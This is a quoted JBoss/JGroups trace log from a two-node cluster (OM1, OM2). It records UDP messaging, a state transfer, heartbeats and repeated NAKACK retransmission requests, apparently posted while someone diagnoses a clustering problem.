> 2013-08-30 09:49:27,323 TRACE [UDP] (Incoming-3,null) received [dst: <null>, src: OM2:1299 (4 headers), size=566 bytes], headers are MuxRequestCorrelator: [org.jgroups.blocks.mux.MuxHeader Header], RequestCorrelator: id=201, type=REQ, id=7, rsp_expected=true, exclusion_list=[OM2:1299], NAKACK: [MSG, seqno=6], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:27,323 TRACE [NAKACK] (Incoming-3,null) OM1:1299: received OM2:1299#6
> 2013-08-30 09:49:27,323 TRACE [MFC] (Incoming-3,null) OM2:1299 used 566 credits, 1997305 remaining
> 2013-08-30 09:49:27,323 TRACE [RequestCorrelator] (Incoming-3,null) calling (org.jboss.ha.core.framework.server.CoreGroupCommunicationService$RpcHandler) with request 7
> 2013-08-30 09:49:27,339 TRACE [RequestCorrelator] (Incoming-3,null) sending rsp for 7 to OM2:1299
> 2013-08-30 09:49:27,354 TRACE [UNICAST] (Incoming-3,null) OM1:1299 --> DATA(OM2:1299: #8, conn_id=1)
> 2013-08-30 09:49:27,354 TRACE [UDP] (Incoming-3,null) sending msg to OM2:1299, src=OM1:1299, headers are MuxRequestCorrelator: [org.jgroups.blocks.mux.MuxHeader Header], RequestCorrelator: id=201, type=RSP, id=7, rsp_expected=false, UNICAST: DATA, seqno=8, conn_id=1, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:27,354 TRACE [UDP] (Incoming-6,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes], headers are UNICAST: ACK, seqno=8, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:27,354 TRACE [UNICAST] (Incoming-6,null) OM1:1299 <-- ACK(OM2:1299: #8)
> 2013-08-30 09:49:27,432 TRACE [UDP] (Incoming-5,null) received [dst: OM1:1299, src: OM2:1299 (3 headers), size=0 bytes], headers are STREAMING_STATE_TRANSFER: type=STATE_REQ, sender=OM2:1299 id=0, UNICAST: DATA, seqno=7, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:27,432 TRACE [UNICAST] (Incoming-5,null) OM1:1299 <-- DATA(OM2:1299: #7)
> 2013-08-30 09:49:27,432 TRACE [UNICAST] (Incoming-5,null) OM1:1299 --> ACK(OM2:1299: #7)
> 2013-08-30 09:49:27,432 TRACE [UDP] (Incoming-5,null) sending msg to OM2:1299, src=OM1:1299, headers are UNICAST: ACK, seqno=7, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:27,432 DEBUG [STREAMING_STATE_TRANSFER] (Incoming-5,null) Responding to state requester OM2:1299 with address 192.168.1.200:50258 and digest null
> 2013-08-30 09:49:27,432 TRACE [UNICAST] (Incoming-5,null) OM1:1299 --> DATA(OM2:1299: #9, conn_id=1)
> 2013-08-30 09:49:27,432 TRACE [UDP] (Incoming-5,null) sending msg to OM2:1299, src=OM1:1299, headers are STREAMING_STATE_TRANSFER: type=STATE_RSP, sender=OM1:1299 id=0, UNICAST: DATA, seqno=9, conn_id=1, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:27,432 TRACE [UDP] (Incoming-7,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes], headers are UNICAST: ACK, seqno=9, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:27,432 TRACE [UNICAST] (Incoming-7,null) OM1:1299 <-- ACK(OM2:1299: #9)
> 2013-08-30 09:49:27,432 DEBUG [STREAMING_STATE_TRANSFER] (STREAMING_STATE_TRANSFER server socket acceptor,om-agent-om-fence-HAPartition,OM1:1299) StateProviderThreadSpawner listening at 192.168.1.200:50258...
> 2013-08-30 09:49:27,432 DEBUG [STREAMING_STATE_TRANSFER] (STREAMING_STATE_TRANSFER-sender-1,om-agent-om-fence-HAPartition,OM1:1299) Accepted request for state transfer from /192.168.1.201:63701 handing of to PooledExecutor thread
> 2013-08-30 09:49:27,432 DEBUG [STREAMING_STATE_TRANSFER] (STREAMING_STATE_TRANSFER-sender-1,om-agent-om-fence-HAPartition,OM1:1299) Running on Thread[STREAMING_STATE_TRANSFER-sender-1,om-agent-om-fence-HAPartition,OM1:1299,5,JGroups]. Accepted request for state transfer from /192.168.1.201:63701, original buffer size was 8192 and was reset to 8192, passing outputstream up... 
> 2013-08-30 09:49:27,651 DEBUG [StateTransferManagerImpl] (STREAMING_STATE_TRANSFER-sender-1,om-agent-om-fence-HAPartition,OM1:1299) Generating state.  Can provide? true
> 2013-08-30 09:49:27,651 DEBUG [StateTransferManagerImpl] (STREAMING_STATE_TRANSFER-sender-1,om-agent-om-fence-HAPartition,OM1:1299) Writing 2 StoredEntries to stream
> 2013-08-30 09:49:27,651 TRACE [UDP] (OOB-20,null) received [dst: OM1:1299, src: OM2:1299 (3 headers), size=9 bytes, flags=OOB|DONT_BUNDLE|NO_FC], headers are RequestCorrelator: id=201, type=REQ, id=8, rsp_expected=true, UNICAST: DATA, seqno=8, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:27,651 TRACE [UNICAST] (OOB-20,null) OM1:1299 <-- DATA(OM2:1299: #8)
> 2013-08-30 09:49:27,651 TRACE [RequestCorrelator] (OOB-20,null) calling (org.infinispan.remoting.transport.jgroups.CommandAwareRpcDispatcher) with request 8
> 2013-08-30 09:49:27,651 TRACE [RequestCorrelator] (OOB-20,null) sending rsp for 8 to OM2:1299
> 2013-08-30 09:49:27,651 TRACE [UNICAST] (OOB-20,null) OM1:1299 --> DATA(OM2:1299: #10, conn_id=1)
> 2013-08-30 09:49:27,651 TRACE [UDP] (OOB-20,null) sending msg to OM2:1299, src=OM1:1299, headers are RequestCorrelator: id=201, type=RSP, id=8, rsp_expected=false, UNICAST: DATA, seqno=10, conn_id=1, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:27,666 TRACE [UNICAST] (OOB-20,null) OM1:1299 --> ACK(OM2:1299: #8)
> 2013-08-30 09:49:27,666 TRACE [UDP] (OOB-20,null) sending msg to OM2:1299, src=OM1:1299, headers are UNICAST: ACK, seqno=8, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:27,666 DEBUG [StateTransferManagerImpl] (STREAMING_STATE_TRANSFER-sender-1,om-agent-om-fence-HAPartition,OM1:1299) State generated, closing object stream
> 2013-08-30 09:49:27,666 DEBUG [STREAMING_STATE_TRANSFER] (STREAMING_STATE_TRANSFER-sender-1,om-agent-om-fence-HAPartition,OM1:1299) State writer is closing the socket 
> 2013-08-30 09:49:27,666 TRACE [UDP] (Incoming-8,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes], headers are UNICAST: ACK, seqno=10, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:27,666 TRACE [UNICAST] (Incoming-8,null) OM1:1299 <-- ACK(OM2:1299: #10)
> 2013-08-30 09:49:27,666 TRACE [UDP] (OOB-20,null) received [dst: OM1:1299, src: OM2:1299 (3 headers), size=9 bytes, flags=OOB|DONT_BUNDLE|NO_FC], headers are RequestCorrelator: id=201, type=REQ, id=9, rsp_expected=true, UNICAST: DATA, seqno=9, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:27,666 TRACE [UNICAST] (OOB-20,null) OM1:1299 <-- DATA(OM2:1299: #9)
> 2013-08-30 09:49:27,666 TRACE [RequestCorrelator] (OOB-20,null) calling (org.infinispan.remoting.transport.jgroups.CommandAwareRpcDispatcher) with request 9
> 2013-08-30 09:49:27,666 TRACE [RequestCorrelator] (OOB-20,null) sending rsp for 9 to OM2:1299
> 2013-08-30 09:49:27,666 TRACE [UNICAST] (OOB-20,null) OM1:1299 --> DATA(OM2:1299: #11, conn_id=1)
> 2013-08-30 09:49:27,666 TRACE [UDP] (OOB-20,null) sending msg to OM2:1299, src=OM1:1299, headers are RequestCorrelator: id=201, type=RSP, id=9, rsp_expected=false, UNICAST: DATA, seqno=11, conn_id=1, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:27,666 TRACE [UNICAST] (OOB-20,null) OM1:1299 --> ACK(OM2:1299: #9)
> 2013-08-30 09:49:27,666 TRACE [UDP] (OOB-20,null) sending msg to OM2:1299, src=OM1:1299, headers are UNICAST: ACK, seqno=9, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:27,666 TRACE [UDP] (Incoming-10,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes], headers are UNICAST: ACK, seqno=11, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:27,666 TRACE [UNICAST] (Incoming-10,null) OM1:1299 <-- ACK(OM2:1299: #11)
> 2013-08-30 09:49:32,814 TRACE [NAKACK] (ContainerBackgroundProcessor[StandardEngine[jboss.web]]) sending OM1:1299#8
> 2013-08-30 09:49:32,814 TRACE [UDP] (ContainerBackgroundProcessor[StandardEngine[jboss.web]]) sending msg to null, src=OM1:1299, headers are MuxRequestCorrelator: [org.jgroups.blocks.mux.MuxHeader Header], RequestCorrelator: id=201, type=REQ, id=2, rsp_expected=true, exclusion_list=[OM1:1299], NAKACK: [MSG, seqno=8], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:32,814 TRACE [UDP] (ContainerBackgroundProcessor[StandardEngine[jboss.web]]) looping back message [dst: <null>, src: OM1:1299 (4 headers), size=354 bytes]
> 2013-08-30 09:49:32,830 TRACE [UDP] (Incoming-9,null) received [dst: <null>, src: OM1:1299 (4 headers), size=354 bytes], headers are MuxRequestCorrelator: [org.jgroups.blocks.mux.MuxHeader Header], RequestCorrelator: id=201, type=REQ, id=2, rsp_expected=true, exclusion_list=[OM1:1299], NAKACK: [MSG, seqno=8], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:32,830 TRACE [NAKACK] (Incoming-9,null) OM1:1299: received OM1:1299#8
> 2013-08-30 09:49:32,830 TRACE [UDP] (Incoming-11,null) received [dst: <null>, src: OM1:1299 (4 headers), size=354 bytes], headers are MuxRequestCorrelator: [org.jgroups.blocks.mux.MuxHeader Header], RequestCorrelator: id=201, type=REQ, id=2, rsp_expected=true, exclusion_list=[OM1:1299], NAKACK: [MSG, seqno=8], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:32,830 TRACE [MFC] (Incoming-9,null) OM1:1299 used 354 credits, 1999646 remaining
> 2013-08-30 09:49:32,845 TRACE [UDP] (OOB-20,null) received [dst: OM1:1299, src: OM2:1299 (4 headers), size=1024 bytes, flags=OOB|DONT_BUNDLE], headers are MuxRequestCorrelator: [org.jgroups.blocks.mux.MuxHeader Header], RequestCorrelator: id=201, type=RSP, id=2, rsp_expected=false, UNICAST: DATA, seqno=10, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:32,845 TRACE [UNICAST] (OOB-20,null) OM1:1299 <-- DATA(OM2:1299: #10)
> 2013-08-30 09:49:32,845 TRACE [UFC] (OOB-20,null) OM2:1299 used 1024 credits, 1998976 remaining
> 2013-08-30 09:49:32,845 TRACE [UNICAST] (OOB-20,null) OM1:1299 --> ACK(OM2:1299: #10)
> 2013-08-30 09:49:32,845 TRACE [UDP] (OOB-20,null) sending msg to OM2:1299, src=OM1:1299, headers are UNICAST: ACK, seqno=10, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:32,861 TRACE [NAKACK] (ContainerBackgroundProcessor[StandardEngine[jboss.web]]) sending OM1:1299#9
> 2013-08-30 09:49:32,861 TRACE [UDP] (ContainerBackgroundProcessor[StandardEngine[jboss.web]]) sending msg to null, src=OM1:1299, headers are MuxRequestCorrelator: [org.jgroups.blocks.mux.MuxHeader Header], RequestCorrelator: id=201, type=REQ, id=3, rsp_expected=true, exclusion_list=[OM1:1299], NAKACK: [MSG, seqno=9], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:32,861 TRACE [UDP] (ContainerBackgroundProcessor[StandardEngine[jboss.web]]) looping back message [dst: <null>, src: OM1:1299 (4 headers), size=1463 bytes]
> 2013-08-30 09:49:32,861 TRACE [UDP] (Incoming-12,null) received [dst: <null>, src: OM1:1299 (4 headers), size=1463 bytes], headers are MuxRequestCorrelator: [org.jgroups.blocks.mux.MuxHeader Header], RequestCorrelator: id=201, type=REQ, id=3, rsp_expected=true, exclusion_list=[OM1:1299], NAKACK: [MSG, seqno=9], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:32,861 TRACE [NAKACK] (Incoming-12,null) OM1:1299: received OM1:1299#9
> 2013-08-30 09:49:32,861 TRACE [UDP] (Incoming-13,null) received [dst: <null>, src: OM1:1299 (4 headers), size=1463 bytes], headers are MuxRequestCorrelator: [org.jgroups.blocks.mux.MuxHeader Header], RequestCorrelator: id=201, type=REQ, id=3, rsp_expected=true, exclusion_list=[OM1:1299], NAKACK: [MSG, seqno=9], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:32,861 TRACE [MFC] (Incoming-12,null) OM1:1299 used 1463 credits, 1998183 remaining
> 2013-08-30 09:49:34,187 TRACE [NAKACK] (Timer-4,<ADDR>) sending OM1:1299#10
> 2013-08-30 09:49:34,187 TRACE [UDP] (Timer-4,<ADDR>) sending msg to null, src=OM1:1299, headers are VIEW_SYNC: [VIEW_SYNC], view= [OM1:1299|1] [OM1:1299, OM2:1299], NAKACK: [MSG, seqno=10], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:34,187 TRACE [UDP] (Timer-4,<ADDR>) looping back message [dst: <null>, src: OM1:1299 (3 headers), size=0 bytes, flags=OOB]
> 2013-08-30 09:49:34,187 TRACE [UDP] (OOB-20,null) received [dst: <null>, src: OM1:1299 (3 headers), size=0 bytes, flags=OOB], headers are VIEW_SYNC: [VIEW_SYNC], view= [OM1:1299|1] [OM1:1299, OM2:1299], NAKACK: [MSG, seqno=10], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:34,187 TRACE [NAKACK] (OOB-20,null) OM1:1299: received OM1:1299#10
> 2013-08-30 09:49:34,187 TRACE [VIEW_SYNC] (OOB-20,null) view from OM1:1299 ([OM1:1299|1]) is same as my own view; ignoring
> 2013-08-30 09:49:34,187 TRACE [UDP] (OOB-19,null) received [dst: <null>, src: OM1:1299 (3 headers), size=0 bytes, flags=OOB], headers are VIEW_SYNC: [VIEW_SYNC], view= [OM1:1299|1] [OM1:1299, OM2:1299], NAKACK: [MSG, seqno=10], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:34,515 TRACE [UDP] (OOB-19,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes, flags=OOB], headers are NAKACK: [XMIT_REQ, range=[9 : 9], sender=OM1:1299], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:34,515 TRACE [NAKACK] (OOB-19,null) OM1:1299: received xmit request from OM2:1299 for OM1:1299 [9 - 9]
> 2013-08-30 09:49:34,515 TRACE [UDP] (OOB-19,null) sending msg to null, src=OM1:1299, headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:34,515 TRACE [UDP] (OOB-19,null) looping back message [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes]
> 2013-08-30 09:49:34,515 TRACE [UDP] (Incoming-14,null) received [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes], headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:34,515 TRACE [NAKACK] (Incoming-14,null) OM1:1299: received OM1:1299#9
> 2013-08-30 09:49:34,515 TRACE [UDP] (Incoming-14,null) received [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes], headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:35,123 TRACE [UDP] (OOB-19,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes, flags=OOB], headers are NAKACK: [XMIT_REQ, range=[9 : 9], sender=OM1:1299], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:35,123 TRACE [NAKACK] (OOB-19,null) OM1:1299: received xmit request from OM2:1299 for OM1:1299 [9 - 9]
> 2013-08-30 09:49:35,123 TRACE [UDP] (OOB-19,null) sending msg to null, src=OM1:1299, headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:35,123 TRACE [UDP] (OOB-19,null) looping back message [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes]
> 2013-08-30 09:49:35,123 TRACE [UDP] (Incoming-16,null) received [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes], headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:35,123 TRACE [NAKACK] (Incoming-16,null) OM1:1299: received OM1:1299#9
> 2013-08-30 09:49:35,123 TRACE [UDP] (Incoming-16,null) received [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes], headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:35,544 TRACE [UDP] (OOB-19,null) received [dst: <null>, src: OM2:1299 (3 headers), size=0 bytes, flags=OOB], headers are STABLE: [STABLE_GOSSIP]: digest is OM2:1299: [0 : 7 (7)], OM1:1299: [1 : 8 (10)], NAKACK: [MSG, seqno=8], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:35,544 TRACE [NAKACK] (OOB-19,null) OM1:1299: received OM2:1299#8
> 2013-08-30 09:49:35,544 TRACE [Retransmitter] (OOB-19,null) added range OM2:1299 [7]
> 2013-08-30 09:49:35,544 TRACE [STABLE] (OOB-19,null) OM1:1299: handling digest from OM2:1299 (0 votes):
> mine:   [OM1:1299#6, OM2:1299#0]
> other:  [OM1:1299#8, OM2:1299#7]
> result: [OM1:1299#6, OM2:1299#0]
> 2013-08-30 09:49:35,856 DEBUG [FD] (Timer-3,<ADDR>) sending are-you-alive msg to OM2:1299 (own address=OM1:1299)
> 2013-08-30 09:49:35,856 TRACE [UDP] (Timer-3,<ADDR>) sending msg to OM2:1299, src=OM1:1299, headers are FD: heartbeat, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:35,856 TRACE [NAKACK] (Timer-5,<ADDR>) OM1:1299: sending XMIT_REQ ([7, 7]) to OM2:1299
> 2013-08-30 09:49:35,856 TRACE [UDP] (Timer-5,<ADDR>) sending msg to OM2:1299, src=OM1:1299, headers are NAKACK: [XMIT_REQ, range=[7 : 7], sender=OM2:1299], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:35,856 TRACE [UDP] (OOB-19,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes, flags=OOB], headers are FD: heartbeat ack, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:36,137 TRACE [UDP] (OOB-19,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes, flags=OOB], headers are FD: heartbeat, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:36,137 TRACE [FD] (OOB-19,null) received are-you-alive from OM2:1299, sending response
> 2013-08-30 09:49:36,137 TRACE [UDP] (OOB-19,null) sending msg to OM2:1299, src=OM1:1299, headers are FD: heartbeat ack, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:36,340 TRACE [UDP] (OOB-19,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes, flags=OOB], headers are NAKACK: [XMIT_REQ, range=[9 : 9], sender=OM1:1299], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:36,340 TRACE [NAKACK] (OOB-19,null) OM1:1299: received xmit request from OM2:1299 for OM1:1299 [9 - 9]
> 2013-08-30 09:49:36,340 TRACE [UDP] (OOB-19,null) sending msg to null, src=OM1:1299, headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:36,340 TRACE [UDP] (OOB-19,null) looping back message [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes]
> 2013-08-30 09:49:36,340 TRACE [UDP] (Incoming-18,null) received [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes], headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:36,340 TRACE [NAKACK] (Incoming-18,null) OM1:1299: received OM1:1299#9
> 2013-08-30 09:49:36,340 TRACE [UDP] (Incoming-18,null) received [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes], headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:36,465 TRACE [NAKACK] (Timer-2,<ADDR>) OM1:1299: sending XMIT_REQ ([7, 7]) to OM2:1299
> 2013-08-30 09:49:36,465 TRACE [UDP] (Timer-2,<ADDR>) sending msg to OM2:1299, src=OM1:1299, headers are NAKACK: [XMIT_REQ, range=[7 : 7], sender=OM2:1299], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:37,666 TRACE [NAKACK] (Timer-4,<ADDR>) OM1:1299: sending XMIT_REQ ([7, 7]) to OM2:1299
> 2013-08-30 09:49:37,666 TRACE [UDP] (Timer-4,<ADDR>) sending msg to OM2:1299, src=OM1:1299, headers are NAKACK: [XMIT_REQ, range=[7 : 7], sender=OM2:1299], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:38,742 TRACE [UDP] (OOB-19,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes, flags=OOB], headers are NAKACK: [XMIT_REQ, range=[9 : 9], sender=OM1:1299], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:38,742 TRACE [NAKACK] (OOB-19,null) OM1:1299: received xmit request from OM2:1299 for OM1:1299 [9 - 9]
> 2013-08-30 09:49:38,742 TRACE [UDP] (OOB-19,null) sending msg to null, src=OM1:1299, headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:38,742 TRACE [UDP] (OOB-19,null) looping back message [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes]
> 2013-08-30 09:49:38,742 TRACE [UDP] (Incoming-20,null) received [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes], headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:38,742 TRACE [NAKACK] (Incoming-20,null) OM1:1299: received OM1:1299#9
> 2013-08-30 09:49:38,742 TRACE [UDP] (Incoming-20,null) received [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes], headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:40,068 TRACE [NAKACK] (Timer-5,<ADDR>) OM1:1299: sending XMIT_REQ ([7, 7]) to OM2:1299
> 2013-08-30 09:49:40,068 TRACE [UDP] (Timer-5,<ADDR>) sending msg to OM2:1299, src=OM1:1299, headers are NAKACK: [XMIT_REQ, range=[7 : 7], sender=OM2:1299], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:43,547 TRACE [UDP] (OOB-19,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes, flags=OOB], headers are NAKACK: [XMIT_REQ, range=[9 : 9], sender=OM1:1299], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:43,547 TRACE [NAKACK] (OOB-19,null) OM1:1299: received xmit request from OM2:1299 for OM1:1299 [9 - 9]
> 2013-08-30 09:49:43,547 TRACE [UDP] (OOB-19,null) sending msg to null, src=OM1:1299, headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:43,547 TRACE [UDP] (OOB-19,null) looping back message [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes]
> 2013-08-30 09:49:43,547 TRACE [UDP] (Incoming-1,null) received [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes], headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:43,547 TRACE [NAKACK] (Incoming-1,null) OM1:1299: received OM1:1299#9
> 2013-08-30 09:49:43,547 TRACE [UDP] (Incoming-1,null) received [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes], headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:44,218 TRACE [UDP] (OOB-19,null) received [dst: <null>, src: OM2:1299 (3 headers), size=0 bytes, flags=OOB], headers are VIEW_SYNC: [VIEW_SYNC], view= [OM1:1299|1] [OM1:1299, OM2:1299], NAKACK: [MSG, seqno=9], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:44,218 TRACE [NAKACK] (OOB-19,null) OM1:1299: received OM2:1299#9
> 2013-08-30 09:49:44,218 TRACE [VIEW_SYNC] (OOB-19,null) view from OM2:1299 ([OM1:1299|1]) is same as my own view; ignoring
> 2013-08-30 09:49:44,873 TRACE [NAKACK] (Timer-2,<ADDR>) OM1:1299: sending XMIT_REQ ([7, 7]) to OM2:1299
> 2013-08-30 09:49:44,873 TRACE [UDP] (Timer-2,<ADDR>) sending msg to OM2:1299, src=OM1:1299, headers are NAKACK: [XMIT_REQ, range=[7 : 7], sender=OM2:1299], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:45,872 DEBUG [FD] (Timer-4,<ADDR>) sending are-you-alive msg to OM2:1299 (own address=OM1:1299)
> 2013-08-30 09:49:45,872 TRACE [UDP] (Timer-4,<ADDR>) sending msg to OM2:1299, src=OM1:1299, headers are FD: heartbeat, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:45,872 TRACE [UDP] (OOB-19,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes, flags=OOB], headers are FD: heartbeat ack, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:46,152 TRACE [UDP] (OOB-19,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes, flags=OOB], headers are FD: heartbeat, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:46,152 TRACE [FD] (OOB-19,null) received are-you-alive from OM2:1299, sending response
> 2013-08-30 09:49:46,152 TRACE [UDP] (OOB-19,null) sending msg to OM2:1299, src=OM1:1299, headers are FD: heartbeat ack, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:48,149 TRACE [UDP] (OOB-19,null) received [dst: <null>, src: OM2:1299 (3 headers), size=0 bytes, flags=OOB], headers are VIEW_SYNC: [VIEW_SYNC], view= [OM1:1299|1] [OM1:1299, OM2:1299], NAKACK: [MSG, seqno=10], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:48,149 TRACE [NAKACK] (OOB-19,null) OM1:1299: received OM2:1299#10
> 2013-08-30 09:49:48,149 TRACE [VIEW_SYNC] (OOB-19,null) view from OM2:1299 ([OM1:1299|1]) is same as my own view; ignoring
> 2013-08-30 09:49:48,352 TRACE [UDP] (OOB-19,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes, flags=OOB], headers are NAKACK: [XMIT_REQ, range=[9 : 9], sender=OM1:1299], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:48,352 TRACE [NAKACK] (OOB-19,null) OM1:1299: received xmit request from OM2:1299 for OM1:1299 [9 - 9]
> 2013-08-30 09:49:48,352 TRACE [UDP] (OOB-19,null) sending msg to null, src=OM1:1299, headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:48,352 TRACE [UDP] (OOB-19,null) looping back message [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes]
> 2013-08-30 09:49:48,352 TRACE [UDP] (Incoming-3,null) received [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes], headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:48,352 TRACE [UDP] (Incoming-6,null) received [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes], headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:48,352 TRACE [NAKACK] (Incoming-3,null) OM1:1299: received OM1:1299#9
> 2013-08-30 09:49:49,678 TRACE [NAKACK] (Timer-3,<ADDR>) OM1:1299: sending XMIT_REQ ([7, 7]) to OM2:1299
> 2013-08-30 09:49:49,678 TRACE [UDP] (Timer-3,<ADDR>) sending msg to OM2:1299, src=OM1:1299, headers are NAKACK: [XMIT_REQ, range=[7 : 7], sender=OM2:1299], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:52,673 DEBUG [arjuna] (Periodic Recovery) PeriodicRecovery: background thread Status <== SCANNING
> 2013-08-30 09:49:52,673 DEBUG [arjuna] (Periodic Recovery) PeriodicRecovery: background thread scanning
> 2013-08-30 09:49:52,673 DEBUG [arjuna] (Periodic Recovery) Periodic recovery first pass at Fri, 30 Aug 2013 09:49:52
> 2013-08-30 09:49:52,673 DEBUG [arjuna] (Periodic Recovery) AtomicActionRecoveryModule first pass
